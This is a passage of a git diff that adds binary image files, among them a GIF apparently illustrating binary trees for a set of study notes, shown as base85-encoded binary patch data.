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

literal 0
HcmV?d00001

diff --git a/docs/notes/pics/_u4E8C_u53C9_u6811_u7684_u4E0B_1548504426508.gif b/docs/notes/pics/_u4E8C_u53C9_u6811_u7684_u4E0B_1548504426508.gif
new file mode 100644
index 0000000000000000000000000000000000000000..9941311f04c226c4c6e29a2ad4b25dd050f0e022
GIT binary patch
literal 12288
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
